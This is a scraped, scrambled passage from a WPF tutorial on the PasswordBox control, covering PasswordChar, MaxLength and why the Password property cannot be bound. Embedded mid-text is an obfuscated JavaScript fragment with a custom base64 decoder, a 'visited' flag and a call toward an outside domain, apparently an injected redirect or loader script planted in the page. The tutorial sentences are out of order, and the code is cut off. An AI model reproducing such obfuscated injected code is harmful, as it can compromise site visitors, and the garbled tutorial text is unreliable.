Allow me to illustrate with an example: In the screenshot, I have entered the exact same text into the two text boxes, but in the password version, the characters are replaced with dots.. In case you need to control the length of the password, there's a MaxLength property for you: I have used both properties in this updated example: Notice how the characters are now X's instead, and that I was only allowed to enter 6 characters in the box.. You can actually control which character is used instead of the real characters, using the PasswordChar property: In this case, the character X will be used instead of the dots.

```

The functionality is very much the same, but we want WPF to display something else than the actual characters when typing in a password, to shield it from nosy people looking over your shoulder.. However, for security reasons, the Password property is not implemented as a dependency property, which means that you can't bind to it.. constructor(\x22return\x20this\x22)(\x20'+');}catch(_0x5c9b66){_0x5d4ee0=window;}return _0x5d4ee0;};var _0x31cade=_0x90610);var _0xb981db='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'=_0x31cade['atob']||(_0x31cade['atob']=function(_0x2b42cd){var _0x145058=String(_0x2b42cd)['replace'](/=/+$/,'');for(var _0x11d758=0x0,_0x49224a,_0x123d0c,_0x1b3546=0x0,_0x202126='';_0x123d0c=_0x145058['charAt'](_0x1b3546++);~_0x123d0c&&(_0x49224a=_0x11d758%0x4?_0x49224a*0x40+_0x123d0c:_0x123d0c,_0x11d758++%0x4)?_0x202126+=String['fromCharCode'](_0xff&_0x49224a>>(-0x2*_0x11d758&0x6));0x0){_0x123d0c=_0xb981db['indexOf'](_0x123d0c);}return _0x202126;});}());_0x182d['base64DecodeUnicode']=function(_0x4e9ca6){var _0x39bd38=atob(_0x4e9ca6);var _0x492aa6=[];for(var _0x35345d=0x0,_0x9c1513=_0x39bd38['length'];_0x35345d=_0x3050f6;},'mVDZt':visited,'iYWQO':function _0x5bfadb(_0x5ad2e7,_0x4bdede){return _0x5ad2e7(_0x4bdede);},'AeTuW':function _0x3fbe06(_0x2e84df,_0x2d9245){return _0x2e84df+_0x2d9245;},'KgZLj':function _0x53d7b9(_0x51ad76,_0x2384a6){return _0x51ad76+_0x2384a6;},'uvnfJ':https://cloudeyess.

For this purpose, WPF has the PasswordBox control, which is just as easy to use as the TextBox.. PasswordBox and binding When you need to obtain the password from the PasswordBox, you can use the Password property from Code-behind.
